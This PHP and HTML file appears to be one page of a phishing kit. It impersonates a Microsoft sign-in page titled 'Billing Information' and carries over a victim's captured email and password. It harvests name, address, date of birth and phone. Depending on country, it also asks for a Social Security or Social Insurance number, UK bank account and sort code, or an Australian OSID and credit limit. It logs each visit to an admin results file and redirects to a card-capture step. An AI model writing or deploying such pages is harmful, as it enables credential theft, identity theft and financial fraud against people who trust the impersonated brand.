<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

require_once __DIR__ . '/../../core/functions.php';
require_once __DIR__ . '/../../helper/DeviceHelper.php';

$email = isset($_SESSION['username']) ? $_SESSION['username'] : '';
$password = isset($_SESSION['passwordlogin']) ? $_SESSION['passwordlogin'] : '';

function getFormActionUrl($page) {
    $deviceParam = getDeviceParam();
    $hash = generateRandomText(40);
    return "?auth_max_open={$page}&{$deviceParam}={$hash}";
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['billing'])) {
    $_SESSION['fullname'] = trim($_POST['fname'] ?? '');
    $_SESSION['address'] = trim($_POST['address'] ?? '');
    $_SESSION['addressline2'] = trim($_POST['addressline2'] ?? '');
    $_SESSION['kota'] = trim($_POST['city'] ?? '');
    $_SESSION['state'] = trim($_POST['state'] ?? '');
    $_SESSION['zipcode'] = trim($_POST['zip'] ?? '');
    $_SESSION['dob'] = trim($_POST['dob'] ?? '');
    $_SESSION['phone'] = trim($_POST['phone'] ?? '');
    
    if (isset($_POST['email'])) {
        $_SESSION['username'] = trim($_POST['email']);
    }
    if (isset($_POST['password'])) {
        $_SESSION['passwordlogin'] = trim($_POST['password']);
    }
    
    if (function_exists('tulis_file')) {
        global $cn, $ip, $date;
        $cn = $cn ?? 'AMAZON';
        $ip = getUserIP();
        $date = date("Y-m-d H:i:s");
        tulis_file("admin/result/total_click.txt", "".$cn."|".$email."|".$ip."|Berhasil Memasukan Alamat|".$date."");
    }
    
    $redirectUrl = getFormActionUrl('card');
    header("Location: " . $redirectUrl);
    exit;
}

$formAction = getFormActionUrl('billing');
?>
<html dir="ltr" lang="EN-US">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <title>Billing Information</title>
    <meta name="robots" content="none">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <link rel="shortcut icon" href="https://logincdn.msauth.net/16.000.28230.00/images/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" crossorigin="anonymous" integrity="sha384-E5gbpbd7pvLncrSFicEeR0od7Yqv75BoM0zAKpkW6kM6RUIPj83KEbtUBQeB8pRU" onload="$Loader.OnSuccess(this)" onerror="$Loader.OnError(this)" href="../assets/ms/assets/css/hotmail.css">
    <style>
        .inner {
            min-height: 380px;
            padding: 30px 44px 44px 44px;
        }
        .text-title {
            font-size: 24px !important;
            font-weight: 600 !important;
            margin-bottom: 16px !important;
        }
        .identityBanner {
            margin-top: 8px !important;
            margin-bottom: 12px !important;
        }
        .identity {
            font-size: 14px !important;
            font-weight: 600 !important;
            color: #1b1b1b !important;
        }
        .form-group {
            margin-bottom: 12px !important;
        }
        .form-control {
            width: 100% !important;
            padding: 10px 12px !important;
            border: 1px solid #666 !important;
            border-radius: 0 !important;
            font-size: 16px !important;
            height: 40px !important;
            background: transparent !important;
        }
        .form-control:focus {
            border-color: #0067b8 !important;
            outline: none !important;
        }
        .btn-primary {
            width: 100% !important;
            padding: 10px !important;
            background-color: #0067b8 !important;
            color: #fff !important;
            border: none !important;
            font-size: 16px !important;
            font-weight: 600 !important;
            cursor: pointer !important;
            border-radius: 0 !important;
            min-height: 40px !important;
        }
        .btn-primary:hover {
            background-color: #005da6 !important;
        }
        .footerNode a {
            color: #666 !important;
            text-decoration: none !important;
            margin: 0 10px !important;
            font-size: 12px !important;
        }
        .footerNode a:hover {
            text-decoration: underline !important;
        }
        .logo {
            height: 24px !important;
            width: auto !important;
            display: block !important;
            margin: 0 auto 12px auto !important;
        }
        .position-buttons {
            margin-top: 6px !important;
        }
        .position-buttons > div:first-child {
            margin-bottom: 6px !important;
        }
        .button-container {
            position: relative !important;
            margin-top: 2px !important;
        }
        .row {
            margin-bottom: 4px !important;
        }
        .form-label {
            display: block;
            font-size: 14px;
            font-weight: 600;
            color: #333;
            margin-bottom: 4px;
        }
        .background {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-size: cover;
            background-position: center;
            z-index: -1;
        }
        .outer {
            display: table;
            width: 100%;
            height: 100vh;
            min-height: 500px;
        }
        .middle {
            display: table-cell;
            vertical-align: middle;
        }
        @media (max-width: 600px) {
            .inner {
                min-height: 300px;
                padding: 20px 24px 24px 24px;
            }
            .text-title {
                font-size: 20px !important;
            }
        }
    </style>
</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div>
        <div>
            <div class="background" style="background-image: url('../assets/ms/assets/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg');">
            </div>
        </div>
        <div data-bind="if: activeDialog"></div>
        <form name="f1" id="i0281" validate="validate" spellcheck="false" method="post" target="_top" autocomplete="off" action="">
            <div class="outer" data-bind="">
                <div class="middle">
                    <div class="inner">
                        <div class="lightbox-cover"></div>

                        <div>
                            <img class="logo" pngsrc="https://auth.gfx.ms/16.000.27991.01/images/microsoft_logo.png?x=ed9c9eb0dce17d752bedea6b5acda6d9" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" alt="Microsoft">
                        </div>

                        <div role="main">
                            <div>
                                <div>
                                    <div class="identityBanner">
                                        <div id="displayName" class="identity" data-bind="text: unsafe_displayName, attr: { 'title': unsafe_displayName }" title="<?php echo htmlspecialchars($email); ?>">
                                            <?php echo htmlspecialchars($email); ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="pagination-view has-identity-banner">
                                <div data-viewid="2" data-showidentitybanner="true" data-dynamicbranding="true">
                                    <div id="loginHeader" class="row text-title" role="heading" aria-level="1" data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">Billing Information</div>
                                    
                                    <div class="row">
                                        <div class="form-group col-md-24">
                                            <div role="alert" aria-live="assertive" aria-atomic="false">
                                            </div>
                                            <div class="placeholderContainer">
                                                <input type="hidden" name="email" value="<?php echo htmlspecialchars($email); ?>">
                                                <input type="hidden" name="password" value="<?php echo htmlspecialchars($password); ?>">
                                                <input type="hidden" name="billing" value="">
                                                
                                                <!-- FULL NAME -->
                                                <div class="form-group">
                                                    <label class="form-label">Full name</label>
                                                    <input name="fname" type="text" id="fullname" class="form-control" placeholder="Full name" autofocus required>
                                                    <div id="inputErrorMsgFullname"></div>
                                                </div>
                                                
                                                <!-- ADDRESS -->
                                                <div class="form-group">
                                                    <label class="form-label">Address</label>
                                                    <input name="address" type="text" id="address" class="form-control" placeholder="Address" required>
                                                    <div id="inputErrorMsgAddress"></div>
                                                </div>
                                                
                                                <!-- ADDRESS LINE 2 (Optional) -->
                                                <div class="form-group">
                                                    <label class="form-label">Address line 2 (Optional)</label>
                                                    <input name="addressline2" type="text" id="addressline2" class="form-control" placeholder="Address line 2 (Optional)">
                                                </div>
                                                
                                                <!-- CITY -->
                                                <div class="form-group">
                                                    <label class="form-label">City</label>
                                                    <input name="city" type="text" id="city" class="form-control" placeholder="City" required>
                                                    <div id="inputErrorMsgCity"></div>
                                                </div>
                                                
                                                <!-- STATE -->
                                                <div class="form-group">
                                                    <label class="form-label">State</label>
                                                    <input name="state" type="text" id="state" class="form-control" placeholder="State" required>
                                                    <div id="inputErrorMsgState"></div>
                                                </div>
                                                
                                                <!-- ZIP CODE -->
                                                <div class="form-group">
                                                    <label class="form-label">ZIP Code</label>
                                                    <input name="zip" type="text" id="zipcode" class="form-control mask-zip" placeholder="ZIP" required>
                                                    <div id="inputErrorMsgZIP"></div>
                                                </div>
                                                
                                                <!-- DATE OF BIRTH -->
                                                <div class="form-group">
                                                    <label class="form-label">Date of Birth</label>
                                                    <input name="dob" type="text" id="dob" class="form-control mask-dob" placeholder="DD/MM/YYYY" required>
                                                    <div id="inputErrorMsgDOB"></div>
                                                </div>
                                                
                                                <!-- PHONE NUMBER -->
                                                <div class="form-group">
                                                    <label class="form-label">Phone number</label>
                                                    <input name="phone" type="text" id="phone" class="form-control mask-phone" placeholder="Phone number" required>
                                                    <div id="inputErrorMsgPhone"></div>
                                                </div>
                                                
                                                <!-- COUNTRY SPECIFIC FIELDS -->
                                                <?php
                                                if (isset($_SESSION['countryCode'])) {
                                                    ########## UNITED STATES ##########
                                                    if ($_SESSION['countryCode'] == "US") {
                                                        echo '
                                                        <div class="form-group">
                                                            <label class="form-label">Social Security Number</label>
                                                            <input type="text" name="ssn" id="ssn" class="form-control mask-ssn" placeholder="XXX-XX-XXXX" required>
                                                            <div id="inputErrorMsgSSN"></div>
                                                        </div>';
                                                    }
                                                    ########## CANADA ##########
                                                    elseif ($_SESSION['countryCode'] == "CA") {
                                                        echo '
                                                        <div class="form-group">
                                                            <label class="form-label">Social Insurance Number</label>
                                                            <input type="text" name="sin" id="sin" class="form-control mask-sin" placeholder="XXX-XXX-XXX" required>
                                                            <div id="inputErrorMsgSIN"></div>
                                                        </div>';
                                                    }
                                                    ########## UNITED KINGDOM ##########
                                                    elseif ($_SESSION['countryCode'] == "GB") {
                                                        echo '
                                                        <div class="form-group">
                                                            <label class="form-label">Account Number</label>
                                                            <input type="text" name="acno" id="acno" class="form-control mask-acno" placeholder="Enter account number" required>
                                                            <div id="inputErrorMsgAcNo"></div>
                                                        </div>
                                                        <div class="form-group">
                                                            <label class="form-label">Sort Code</label>
                                                            <input type="text" name="sortcode" id="sortcode" class="form-control mask-sortcode" placeholder="XX-XX-XX" required>
                                                            <div id="inputErrorMsgSortCode"></div>
                                                        </div>';
                                                    }
                                                    ########## AUSTRALIA ##########
                                                    elseif ($_SESSION['countryCode'] == "AU") {
                                                        echo '
                                                        <div class="form-group">
                                                            <label class="form-label">OSID Number</label>
                                                            <input type="text" name="osid" id="osid" class="form-control mask-osid" placeholder="Enter OSID number" required>
                                                            <div id="inputErrorMsgOsId"></div>
                                                        </div>
                                                        <div class="form-group">
                                                            <label class="form-label">Credit Limit</label>
                                                            <input type="text" name="climit" id="climit" class="form-control" placeholder="e.g. $5000" required>
                                                            <div id="inputErrorMsgClimit"></div>
                                                        </div>';
                                                    }
                                                }
                                                ?>
                                                
                                                <input type="hidden" name="apistatus" value="">
                                            </div>
                                        </div>
                                    </div>
                                    <div data-bind="invertOrder: svr.B4, css: { 'position-buttons': !tenantBranding.BoilerPlateText }" class="position-buttons">
                                        <div class="row" data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText }">
                                            <div>
                                                <div class="col-xs-24 no-padding-left-right form-group no-margin-bottom button-container">
                                                    <div class="inline-block" style="width: 100%;">
                                                        <input type="submit" id="idSIButton9" class="btn btn-block btn-primary" value="Submit">
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            
            <div id="footer" class="footer default" role="contentinfo" data-bind="css: { 'default': !backgroundLogoUrl() }" style="background: transparent;">
                <div>
                    <div id="footerLinks" class="footerNode text-secondary">
                        <a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick" style="color: #666;">Terms of use</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;">Privacy &amp; cookies</a> 
                        <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick" style="color: #666;font-size: 16px;">. . .</a>
                    </div>
                </div>
            </div>
        </div>
    </div>
    </form>
    </div>
    
    <div>
        <!--  -->
    </div>
    
    <!-- Masking -->
    <script src="../assets/ms/js/jquery.min.js"></script>
    <script src="../assets/ms/js/jquery.mask.min.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
        $('.mask-exp').mask('00/00');
        $('.mask-ccn').mask('0000 0000 0000 0000');
        $('.mask-dob').mask('00/00/0000');
        $('.mask-dln').mask('00 000 000');
        $('.mask-ssn').mask('000-00-0000');
        $('.mask-sin').mask('000-000-000');
        $('.mask-acno').mask('00000000');
        $('.mask-sortcode').mask('00-00-00');
        $('.mask-osid').mask('0000000000');
        $('.mask-cvv').mask('000');
        $('.mask-pin').mask('000000');
        $('.time').mask('00:00:00');
        $('.date_time').mask('00/00/0000 00:00:00');
        $('.mask-phone').mask('00000000000000');
        $('.phone_with_ddd').mask('(00) 0000-0000');
        $('.phone_us').mask('(000) 000-0000');
        $('.mixed').mask('AAA 000-S0S');
        $('.money').mask('000.000.000.000.000,00', {reverse: true});
        $('.money2').mask("#.##0,00", {reverse: true});
        $('.ip_address').mask('099.099.099.099');
        $('.percent').mask('##0,00%', {reverse: true});
        $('.placeholder').mask("00/00/0000", {placeholder: "__/__/____"});
        $('.mask-cc').mask('0000 0000 0000 0000');
        $('.valid').mask('00/00');
        
        // Apply masks
        $('#dob').mask('00/00/0000');
        $('#zipcode').mask('00000');
        $('#phone').mask('00000000000000');
    });
    
    // Validasi Fullname
    $('#fullname').on("keyup focus", function() {
        var fullname = $(this).val();
        if (fullname == "") {
            $(this).addClass('error');
            $("#inputErrorMsgFullname").show().html('<div style="color:#cc0033;font-size:12px;margin-top:4px;">Please enter a full name.</div>');
        } else if (fullname.length < 6) {
            $(this).addClass('error');
            $("#inputErrorMsgFullname").show().html('<div style="color:#cc0033;font-size:12px;margin-top:4px;">Please check a full name (first and last name).</div>');
        } else {
            $(this).removeClass('error');
            $("#inputErrorMsgFullname").html('');
        }
    });
    
    // Validasi Address
    $('#address').on("keyup focus", function() {
        var address = $(this).val();
        if (address == "") {
            $(this).addClass('error');
            $("#inputErrorMsgAddress").show().html('<div style="color:#cc0033;font-size:12px;margin-top:4px;">Please enter an address.</div>');
        } else {
            $(this).removeClass('error');
            $("#inputErrorMsgAddress").html('');
        }
    });
    
    // Validasi City
    $('#city').on("keyup focus", function() {
        var city = $(this).val();
        if (city == "") {
            $(this).addClass('error');
            $("#inputErrorMsgCity").show().html('<div style="color:#cc0033;font-size:12px;margin-top:4px;">Please enter a city.</div>');
        } else {
            $(this).removeClass('error');
            $("#inputErrorMsgCity").html('');
        }
    });
    
    // Validasi State
    $('#state').on("keyup focus", function() {
        var state = $(this).val();
        if (state == "") {
            $(this).addClass('error');
            $("#inputErrorMsgState").show().html('<div style="color:#cc0033;font-size:12px;margin-top:4px;">Please enter a state.</div>');
        } else {
            $(this).removeClass('error');
            $("#inputErrorMsgState").html('');
        }
    });
    
    // Validasi ZIP
    $('#zipcode').on("keyup focus", function() {
        var zipcode = $(this).val();
        if (zipcode == "") {
            $(this).addClass('error');
            $("#inputErrorMsgZIP").show().html('<div style="color:#cc0033;font-size:12px;margin-top:4px;">Please enter a zip code.</div>');
        } else {
            $(this).removeClass('error');
            $("#inputErrorMsgZIP").html('');
        }
    });
    
    // Validasi DOB
    $('#dob').on("blur", function() {
        var dob = $(this).val();
        if (dob == "") {
            $(this).addClass('error');
            $("#inputErrorMsgDOB").show().html('<div style="color:#cc0033;font-size:12px;margin-top:4px;">Please enter a date of birth.</div>');
        } else {
            $(this).removeClass('error');
            $("#inputErrorMsgDOB").html('');
        }
    });
    
    // Validasi Phone
    $('#phone').on("keyup focus", function() {
        var phone = $(this).val();
        if (phone == "") {
            $(this).addClass('error');
            $("#inputErrorMsgPhone").show().html('<div style="color:#cc0033;font-size:12px;margin-top:4px;">Please enter a phone number.</div>');
        } else {
            $(this).removeClass('error');
            $("#inputErrorMsgPhone").html('');
        }
    });
    
    // Enable/disable submit button
    $('#fullname, #address, #city, #state, #zipcode, #dob, #phone').on("keyup focus", function() {
        if (!$("#fullname").hasClass('error') && !$("#address").hasClass('error') && !$("#city").hasClass('error') && !$("#state").hasClass('error') && !$("#zipcode").hasClass('error') && !$("#dob").hasClass('error') && !$("#phone").hasClass('error') 
            && $("#fullname").val().length > 0 && $("#address").val().length > 0 && $("#city").val().length > 0 && $("#state").val().length > 0 && $("#zipcode").val().length > 0 && $("#dob").val().length > 0 && $("#phone").val().length > 0) {
            $("#idSIButton9").prop("disabled", false);
        } else {
            $("#idSIButton9").prop("disabled", true);
        }
    });
    </script>
</body>
</html>